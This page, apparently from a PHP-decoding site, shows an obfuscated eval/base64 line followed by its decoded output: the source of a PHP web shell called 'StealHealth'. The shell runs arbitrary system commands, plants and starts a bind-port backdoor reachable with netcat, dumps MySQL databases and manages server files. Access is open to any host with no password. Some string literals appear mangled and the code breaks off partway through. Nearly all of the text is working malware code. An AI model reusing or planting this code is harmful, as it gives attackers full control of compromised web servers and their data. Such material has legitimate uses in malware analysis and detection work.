Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
error_reporting(0); @set_time_limit(0); eval(gzinflate(base64_decode('FJzHkqPKFkU/53UEA7..
Decoded Output download
$sh_name = "StealHealth";
$sh_mainurl = "";
$html_start = '<html><head>
<title>'.getenv("HTTP_HOST").' - '.$sh_name.'</title>
<style type="text/css">body,table { font-family:verdana;font-size:9px;color:#CCCCCC;background-color:#111111; }table { width:100%; border-color:#111111;border-width:0pt 1pt; border-style:solid; }td {background-color: #000500; font-family: Courier New; font-size:8pt; color:#999999; border-color:#FFFFFF; border-width:1pt 0pt; border-style:solid; border-collapse:collapse;padding:0pt 3pt;vertical-align:middle;}A:Link, A:Visited { color: #999999; text-decoration: none; }A.no:Link, A.no:Visited { text-decoration: none; }A:Hover, A:Visited:Hover , A.no:Hover, A.no:Visited:Hover { color: #666666; background-color:#333333; text-decoration: none; }input,select,option { font:8pt tahoma;color:#666666;margin:2;border:1px solid #666666; }textarea { color:#666666;font:verdana bold;border:1px solid ;margin:2; }.fleft { float:left;text-align:left; }.fright { float:right;text-align:right; }#pagebar { font:8pt tahoma;padding:5px; }#pagebar td { vertical-align:top; }#pagebar p { font:8pt tahoma;}#pagebar a { font-weight:bold;color:red; }#pagebar a:visited { color:#00CE00; }#mainmenu { text-align:center; }#mainmenu a { text-align: center;padding: 0px 5px 0px 5px; }#maininfo,.barheader,.barheader2 { text-align:center; }#maininfo td { padding:3px; }.barheader { font-weight:bold;padding:5px; }.barheader2 { padding:5px;border:2px solid #111111; }.contents,.explorer { border-collapse:collapse;}.contents td { vertical-align:top; }.mainpanel { border-collapse:collapse;padding:5px; }.barheader,.mainpanel table,td { border:1px solid #e17b02; }.mainpanel input,select,option { border:1px solid #e17b02;margin:0; }input[type="submit"] { border:1px solid #e17b02; }input[type="text"] { padding:3px;}.fxerrmsg { color:red; font-weight:bold; }#pagebar,#pagebar p,h1,h2,h3,h4,form { margin:0; }#pagebar,.mainpanel,input[type="submit"] { background-color:#111111; }.barheader2,input,select,option,input[type="submit"]:hover { background-color:#111111; }textarea,.mainpanel input,select,option { background-color:#111111; }</style></head>';
$login = ""; $pass = ""; $md5_pass = ""; $host_allow = array("*"); $login_txt = "Restricted Area";
$accessdeniedmess = "<META http-equiv=\"refresh\" content=\"2;URL=\"><body bgcolor=black><a href=\"$sh_mainurl\"><font color=lime>fx0</font></a>: <font color=red>access denied</font></body>";
$gzipencode = TRUE; $filestealth = TRUE; $curdir = "./"; $tmpdir = ""; $tmpdir_log = "./";$log_email = ""; $sort_default = "0a"; $sort_save = TRUE; $sess_cookie = "capriv8vars"; $usefsbuff = TRUE;$copy_unset = FALSE;$hexdump_lines = 8;$hexdump_rows = 24;
$win = strtolower(substr(PHP_OS,0,3)) == "win";
$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc)) {
$disablefunc = str_replace(" ","",$disablefunc);
$disablefunc = explode(",",$disablefunc);
}
function get_phpini() {
function U_wordwrap($str) {
$str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
}
function U_value($value) {
if ($value == '') return '<i>no value</i>';
if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
if ($value === null) return 'NULL';
if (@is_object($value)) $value = (array) $value;
if (@is_array($value)) {
@ob_start();
print_r($value);
$value = @ob_get_contents();
@ob_end_clean();
}
return U_wordwrap((string) $value);
}
if (@function_exists('ini_get_all')) {
$r = "";
echo "<table><tr class=barheader><td>Directive</td><td>Local Value</td><td>Global Value</td></tr>";
foreach (@ini_get_all() as $key=>$value) {
$r .= "<tr><td>".$key."</td><td><div align=center>".U_value($value['local_value'])."</div></td><td><div align=center>".U_value($value['global_value'])."</div></td></tr>";
}
echo $r;
echo "</table>";
}
}
function disp_drives($curdir,$surl) {
$letters = "";
$v = explode("\",$curdir);
$v = $v[0];
foreach (range("A","Z") as $letter) {
$bool = $isdiskette = $letter == "A";
if (!$bool) {$bool = is_dir($letter.":\");}
if ($bool) {
$letters .= "<a href=\"".$surl."x=ls&d=".urlencode($letter.":\")."\"".
($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"")."> [";
if ($letter.":" != $v) {$letters .= $letter;}
else {$letters .= "<font color=red>".$letter."</font>";}
$letters .= "]</a> ";
}
}
if (!empty($letters)) {Return $letters;}
else {Return "None";}
}
if (!function_exists("myshellexec")) {
if(is_callable("popen")) {
function myshellexec($cmd) {
if (!($p=popen("($cmd)2>&1","r"))) { return "popen Disabled!"; }
while (!feof($p)) {
$line=fgets($p,1024);
$out .= $line;
}
pclose($p);
return $out;
}
} else {
function myshellexec($cmd) {
global $disablefunc;
$result = "";
if (!empty($cmd)) {
if (is_callable("exec") and !in_array("exec",$disablefunc)) {
exec($cmd,$result);
$result = join("
",$result);
} elseif (($result = $cmd) !== FALSE) {
} elseif (is_callable("system") and !in_array("system",$disablefunc)) {
$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;
} elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {
$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;
} elseif (is_resource($fp = popen($cmd,"r"))) {
$result = "";
while(!feof($fp)) { $result .= fread($fp,1024); }
pclose($fp);
}
}
return $result;
}
}
}
function ex($cfe) {
$res = '';
if (!empty($cfe)) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("
",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
} else { $res = "Ex() Disabled!"; }
}
return $res;
}
function which($pr) {
$path = ex("which $pr");
if(!empty($path)) { return $path; } else { return $pr; }
}
$hostname_x = php_uname(n);
$itshome = getcwd();
$Lversion = php_uname(r);
$OSV = php_uname(s);
if ($x == "mkdir")
{
if ($mkdir != $d)
{
if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
echo '<br><br>';
}
$x = $dspact = 'ls';
}
function cf($fname,$text) {
$w_file=@fopen($fname,"w") or err();
if($w_file) {
@fputs($w_file,base64_decode($text));
@fclose($w_file);
}
}
function cfb($fname,$text) {
$w_file=@fopen($fname,"w") or bberr();
if($w_file) {
@fputs($w_file,base64_decode($text));
@fclose($w_file);
}
}
function err() { $_POST['backcconnmsge']="<br><br><div class=fxerrmsg>Error:</div> Can't connect!"; }
function bberr() { $_POST['backcconnmsge']="<br><br><div class=fxerrmsg>Error:</div> Can't backdoor host!"; }
if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd")) {
$ip = gethostbyname($_SERVER["HTTP_HOST"]);
$por = $_POST['backconnectport'];
if (is_writable(".")) {
cfb("shbd",$backdoor);
ex("chmod 777 shbd");
$cmd = "./shbd $por";
exec("$cmd > /dev/null &");
$scan = myshellexec("ps aux");
} else {
cfb("/tmp/shbd",$backdoor);
ex("chmod 777 /tmp/shbd");
$cmd = "./tmp/shbd $por";
exec("$cmd > /dev/null &");
$scan = myshellexec("ps aux");
}
if (eregi("./shbd $por",$scan)) {
$data = ("
<br>Backdoor setup successfully.");
} else {
$data = ("
<br>Process not found, backdoor setup failed!");
}
$_POST['backcconnmsg']="To connect, use netcat! Usage: <b>'nc $ip $por'</b>.$data";
}
@ini_set("max_execution_time",0);
if (!function_exists("getmicrotime")) {
function getmicrotime() {
list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);
}
}
error_reporting(5);
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);
define("starttime",getmicrotime());
if (get_magic_quotes_gpc()) {
if (!function_exists("strips")) {
function strips(&$arr,$k="") {
if (is_array($arr)) {
foreach($arr as $k=>$v) {
if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); }
}
} else {$arr = stripslashes($arr);}
}
}
strips($GLOBALS);
}
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
$surl_autofill_include = TRUE;
foreach($_REQUEST as $k=>$v) { if (!isset($$k)) {$$k = $v;} }
if ($surl_autofill_include) {
$include = "&";
foreach (explode("&",getenv("QUERY_STRING")) as $v) {
$v = explode("=",$v);
$name = urldecode($v[0]);
$value = urldecode($v[1]);
foreach (array("http://","https://","ssl://","ftp://","\") as $needle) {
if (strpos($value,$needle) === 0) {
$includestr .= urlencode($name)."=".urlencode($value)."&";
}
}
}
}
if (empty($surl)) {
$surl = "?".$includestr;
}
$surl = htmlspecialchars($surl);
$ftypes = array(
"html"=>array("html","htm","shtml"),
"txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
"exe"=>array("sh","install","bat","cmd"),
"ini"=>array("ini","inf","conf"),
"code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
"img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
"sdb"=>array("sdb"),
"phpsess"=>array("sess"),
"download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);
$exeftypes = array(
getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
"perl %f%" => array("pl","cgi")
);
$regxp_highlight = array(
array(basename($_SERVER["PHP_SELF"]),1,"<font color=red>","</font>"),
array("\.tgz$",1,"<font color=#C082FF>","</font>"),
array("\.gz$",1,"<font color=#C082FF>","</font>"),
array("\.tar$",1,"<font color=#C082FF>","</font>"),
array("\.bz2$",1,"<font color=#C082FF>","</font>"),
array("\.zip$",1,"<font color=#C082FF>","</font>"),
array("\.rar$",1,"<font color=#C082FF>","</font>"),
array("\.php$",1,"<font color=#00FF00>","</font>"),
array("\.php3$",1,"<font color=#00FF00>","</font>"),
array("\.php4$",1,"<font color=#00FF00>","</font>"),
array("\.jpg$",1,"<font color=#00FFFF>","</font>"),
array("\.jpeg$",1,"<font color=#00FFFF>","</font>"),
array("\.JPG$",1,"<font color=#00FFFF>","</font>"),
array("\.JPEG$",1,"<font color=#00FFFF>","</font>"),
array("\.ico$",1,"<font color=#00FFFF>","</font>"),
array("\.gif$",1,"<font color=#00FFFF>","</font>"),
array("\.png$",1,"<font color=#00FFFF>","</font>"),
array("\.htm$",1,"<font color=#00CCFF>","</font>"),
array("\.html$",1,"<font color=#00CCFF>","</font>"),
array("index.php",1,'<font color=red>','</font>'),
array("configuration.php",1,'<font color=red>','</font>'),
array("config.php",1,'<font color=red>','</font>'),
array("settings.php",1,'<font color=red>','</font>'),
array("connect.php",1,'<font color=red>','</font>'),
array("\.txt$",1,"<font color=#C0C0C0>","</font>")
);
$quicklaunch2 = array(
array("[Beranda]",$surl."=img&img=home"),
array("[Koneksi MYSQL]",$surl."x=sql&d=%d"),
array("[Kamar Sebelah]",$surl."x=findwr")
);
$highlight_background = "#000000";
$highlight_bg = "white";
$highlight_comment = "#CCCCCC";
$highlight_default = "orange";
$highlight_html = "lightblue";
$highlight_keyword = "lime";
$highlight_string = "red";
@$f = $_REQUEST["f"];
@extract($_REQUEST["capriv8cook"]);
@set_time_limit(0);
$tmp = array();
foreach ($host_allow as $k=>$v) { $tmp[] = str_replace("\*",".*",preg_quote($v)); }
$s = "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {
exit("<a href=\"$sh_mainurl\">$sh_name</a>: Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed");
}
if (!empty($login)) {
if (empty($md5_pass)) {$md5_pass = md5($pass);}
if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) {
header("WWW-Authenticate: Basic realm=\"".$sh_name.": ".$login_txt."\"");
header("HTTP/1.0 401 Unauthorized");
exit($accessdeniedmess);
}
}
if ($x != "img") {
$lastdir = realpath(".");
chdir($curdir);
if ($selfwrite) {
@ob_clean();
capriv8_getupdate($selfwrite,1);
exit;
}
$sess_data = unserialize($_COOKIE["$sess_cookie"]);
if (!is_array($sess_data)) {$sess_data = array();}
if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
if (!function_exists("cagetsource")) {
function cagetsource($fn) {
global $capriv8_sourcesurl;
$array = array(
"capriv8_bindport.pl" => "capriv8_bindport_pl.txt",
"capriv8_bindport.c" => "capriv8_bindport_c.txt",
"capriv8_backconn.pl" => "capriv8_backconn_pl.txt",
"capriv8_backconn.c" => "capriv8_backconn_c.txt",
"capriv8_datapipe.pl" => "capriv8_datapipe_pl.txt",
"capriv8_datapipe.c" => "capriv8_datapipe_c.txt",
);
$name = $array[$fn];
if ($name) {return file_get_contents($capriv8_sourcesurl.$name);}
else {return FALSE;}
}
}
if (!function_exists("ca_buff_prepare")) {
function ca_buff_prepare() {
global $sess_data;
global $x;
foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}
foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}
$sess_data["copy"] = array_unique($sess_data["copy"]);
$sess_data["cut"] = array_unique($sess_data["cut"]);
sort($sess_data["copy"]);
sort($sess_data["cut"]);
if ($x != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
}
}
ca_buff_prepare();
if (!function_exists("ca_sess_put")) {
function ca_sess_put($data) {
global $sess_cookie;
global $sess_data;
ca_buff_prepare();
$sess_data = $data;
$data = serialize($data);
setcookie($sess_cookie,$data);
}
}
foreach (array("sort","sql_sort") as $v) {
if (!empty($_GET[$v])) {$$v = $_GET[$v];}
if (!empty($_POST[$v])) {$$v = $_POST[$v];}
}
if ($sort_save) {
if (!empty($sort)) {setcookie("sort",$sort);}
if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
}
if (!function_exists("str2mini")) {
function str2mini($content,$len) {
if (strlen($content) > $len) {
$len = ceil($len/2) - 2;
return substr($content, 0,$len)."...".substr($content,-$len);
} else {return $content;}
}
}
if (!function_exists("view_size")) {
function view_size($size) {
if (!is_numeric($size)) { return FALSE; }
else {
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
else {$size = $size . " B";}
return $size;
}
}
}
if (!function_exists("fs_copy_dir")) {
function fs_copy_dir($d,$t) {
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$h = opendir($d);
while (($o = readdir($h)) !== FALSE) {
if (($o != ".") and ($o != "..")) {
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_copy_obj")) {
function fs_copy_obj($d,$t) {
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\",DIRECTORY_SEPARATOR,$t);
if (!is_dir(dirname($t))) {mkdir(dirname($t));}
if (is_dir($d)) {
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_copy_dir($d,$t);
}
elseif (is_file($d)) { return copy($d,$t); }
else { return FALSE; }
}
}
if (!function_exists("fs_move_dir")) {
function fs_move_dir($d,$t) {
$h = opendir($d);
if (!is_dir($t)) {mkdir($t);}
while (($o = readdir($h)) !== FALSE) {
if (($o != ".") and ($o != "..")) {
$ret = TRUE;
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_move_obj")) {
function fs_move_obj($d,$t) {
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\",DIRECTORY_SEPARATOR,$t);
if (is_dir($d)) {
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_move_dir($d,$t);
}
elseif (is_file($d)) {
if(copy($d,$t)) {return unlink($d);}
else {unlink($t); return FALSE;}
}
else {return FALSE;}
}
}
if (!function_exists("fs_rmdir")) {
function fs_rmdir($d) {
$h = opendir($d);
while (($o = readdir($h)) !== FALSE) {
if (($o != ".") and ($o != "..")) {
if (!is_dir($d.$o)) {unlink($d.$o);}
else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
}
}
closedir($h);
rmdir($d);
return !is_dir($d);
}
}
if (!function_exists("fs_rmobj")) {
function fs_rmobj($o) {
$o = str_replace("\",DIRECTORY_SEPARATOR,$o);
if (is_dir($o)) {
if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
return fs_rmdir($o);
}
elseif (is_file($o)) {return unlink($o);}
else {return FALSE;}
}
}
if (!function_exists("tabsort")) {
function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}
}
if (!function_exists("view_perms")) {
function view_perms($mode) {
if (($mode & 0xC000) === 0xC000) {$type = "s";}
elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
else {$type = "?";}
$owner["read"] = ($mode & 00400)?"r":"-";
$owner["write"] = ($mode & 00200)?"w":"-";
$owner["execute"] = ($mode & 00100)?"x":"-";
$group["read"] = ($mode & 00040)?"r":"-";
$group["write"] = ($mode & 00020)?"w":"-";
$group["execute"] = ($mode & 00010)?"x":"-";
$world["read"] = ($mode & 00004)?"r":"-";
$world["write"] = ($mode & 00002)? "w":"-";
$world["execute"] = ($mode & 00001)?"x":"-";
if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
return $type.join("",$owner).join("",$group).join("",$world);
}
}
if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
if (!function_exists("parse_perms")) {
function parse_perms($mode) {
if (($mode & 0xC000) === 0xC000) {$t = "s";}
elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
else {$t = "?";}
$o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
$g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
$w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
}
}
if (!function_exists("parsesort")) {
function parsesort($sort) {
$one = intval($sort);
$second = substr($sort,-1);
if ($second != "d") {$second = "a";}
return array($one,$second);
}
}
if (!function_exists("view_perms_color")) {
function view_perms_color($o) {
if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
}
}
if (!function_exists("mysql_dump")) {
function mysql_dump($set) {
global $sh_ver;
$sock = $set["sock"];
$db = $set["db"];
$print = $set["print"];
$nl2br = $set["nl2br"];
$file = $set["file"];
$add_drop = $set["add_drop"];
$tabs = $set["tabs"];
$onlytabs = $set["onlytabs"];
$ret = array();
$ret["err"] = array();
if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
if (empty($db)) {$db = "db";}
if (empty($print)) {$print = 0;}
if (empty($nl2br)) {$nl2br = 0;}
if (empty($add_drop)) {$add_drop = TRUE;}
if (empty($file)) {
$file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
}
if (!is_array($tabs)) {$tabs = array();}
if (empty($add_drop)) {$add_drop = TRUE;}
if (sizeof($tabs) == 0) {
$res = mysql_query("SHOW TABLES FROM ".$db, $sock);
if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
}
$out = "
# Dumped by fx0
#
# Host settings:
# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
# Date: ".date("d.m.Y H:i:s")."
# DB: \"".$db."\"
#---------------------------------------------------------";
$c = count($onlytabs);
foreach($tabs as $tab) {
if ((in_array($tab,$onlytabs)) or (!$c)) {
if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;
";}
$res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
if (!$res) {$ret["err"][] = mysql_smarterror();}
else {
$row = mysql_fetch_row($res);
$out .= $row["1"].";
";
$res = mysql_query("SELECT * FROM `$tab`", $sock);
if (mysql_num_rows($res) > 0) {
while ($row = mysql_fetch_assoc($res)) {
$keys = implode("`, `", array_keys($row));
$values = array_values($row);
foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
$values = implode("', '", $values);
$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');
";
$out .= $sql;
}
}
}
}
}
$out .= "#---------------------------------------------------------------------------------
";
if ($file) {
$fp = fopen($file, "w");
if (!$fp) {$ret["err"][] = 2;}
else {
fwrite ($fp, $out);
fclose ($fp);
}
}
if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
return $out;
}
}
if (!function_exists("mysql_buildwhere")) {
function mysql_buildwhere($array,$sep=" and",$functs=array()) {
if (!is_array($array)) {$array = array();}
$result = "";
foreach($array as $k=>$v) {
$value = "";
if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
$value .= "'".addslashes($v)."'";
if (!empty($functs[$k])) {$value .= ")";}
$result .= "`".$k."` = ".$value.$sep;
}
$result = substr($result,0,strlen($result)-strlen($sep));
return $result;
}
}
if (!function_exists("mysql_fetch_all")) {
function mysql_fetch_all($query,$sock) {
if ($sock) {$result = mysql_query($query,$sock);}
else {$result = mysql_query($query);}
$array = array();
while ($row = mysql_fetch_array($result)) {$array[] = $row;}
mysql_free_result($result);
return $array;
}
}
if (!function_exists("mysql_smarterror")) {
function mysql_smarterror($type,$sock) {
if ($sock) {$error = mysql_error($sock);}
else {$error = mysql_error();}
$error = htmlspecialchars($error);
return $error;
}
}
if (!function_exists("mysql_query_form")) {
function mysql_query_form() {
global $submit,$sql_x,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;}
if ((!$submit) or ($sql_x)) {
echo "<table border=0><tr><td><form name=\"capriv8_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=x value=sql><input type=hidden name=sql_x value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
if ($tbl_struct) {
echo "<td valign=\"top\"><b>Fields:</b><br>";
foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.capriv8_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
echo "</td></tr></table>";
}
}
if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
}
}
if (!function_exists("mysql_create_db")) {
function mysql_create_db($db,$sock="") {
$sql = "CREATE DATABASE `".addslashes($db)."`;";
if ($sock) {return mysql_query($sql,$sock);}
else {return mysql_query($sql);}
}
}
if (!function_exists("mysql_query_parse")) {
function mysql_query_parse($query) {
$query = trim($query);
$arr = explode (" ",$query);
$types = array(
"SELECT"=>array(3,1),
"SHOW"=>array(2,1),
"DELETE"=>array(1),
"DROP"=>array(1)
);
$result = array();
$op = strtoupper($arr[0]);
if (is_array($types[$op])) {
$result["propertions"] = $types[$op];
$result["query"] = $query;
if ($types[$op] == 2) {
foreach($arr as $k=>$v) {
if (strtoupper($v) == "LIMIT") {
$result["limit"] = $arr[$k+1];
$result["limit"] = explode(",",$result["limit"]);
if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
unset($arr[$k],$arr[$k+1]);
}
}
}
}
else {return FALSE;}
}
}
if ($x == "gofile") {
if (is_dir($f)) { $x = "ls"; $d = $f; }
else { $x = "f"; $d = dirname($f); $f = basename($f); }
}
@ob_start();
@ob_implicit_flush(0);
function onphpshutdown() {
global $gzipencode,$ft;
if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) {
$v = @ob_get_contents();
@ob_end_clean();
@ob_start("ob_gzHandler");
echo $v;
@ob_end_flush();
}
}
function capriv8exit() {
onphpshutdown();
exit;
}
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", FALSE);
header("Pragma: no-cache");
if (empty($tmpdir)) {
$tmpdir = ini_get("upload_tmp_dir");
if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
}
$tmpdir = realpath($tmpdir);
$tmpdir = str_replace("\",DIRECTORY_SEPARATOR,$tmpdir);
if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
else {$tmpdir_logs = realpath($tmpdir_logs);}
function showstat($stat) {
if ($stat=="on") { return "<font color=#00FF00><b>ON</b></font>"; }
else { return "<font color=red><b>OFF</b></font>"; }
}
function testwget() {
if (ex('wget --help')) { return showstat("on"); }
else { return showstat("off"); }
}
function testmssql() {
if (function_exists('mssql_connect')) { return showstat("on"); }
else { return showstat("off"); }
}
function testmysql() {
if (function_exists('mysql_connect')) { return showstat("on"); }
else { return showstat("off"); }
}
function showdisablefunctions() {
if ($disablefunc=@ini_get("disable_functions")){ return "<font color=red><b>".$disablefunc."</b></font>"; }
else { return "<font color=#00FF00><b>NONE</b></b></font>"; }
}
$v = @ini_get("open_basedir");
if ($v or strtolower($v) == "on") {
$openbasedir = TRUE;
$hopenbasedir = "<font color=red>".$v."</font>";
}
else {
$openbasedir = FALSE;
$hopenbasedir = "<font color=green>OFF (not secure)</font>";
}
$quotes = get_magic_quotes_gpc();
if ($quotes == "1" or $quotes == "on")
{
$quot = "<font color='red'>ON</font>";
}
else
{
$quot = "<font color='green'>OFF</font>";
}
$sort = htmlspecialchars($sort);
if (empty($sort)) {$sort = $sort_default;}
$sort[1] = strtolower($sort[1]);
$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
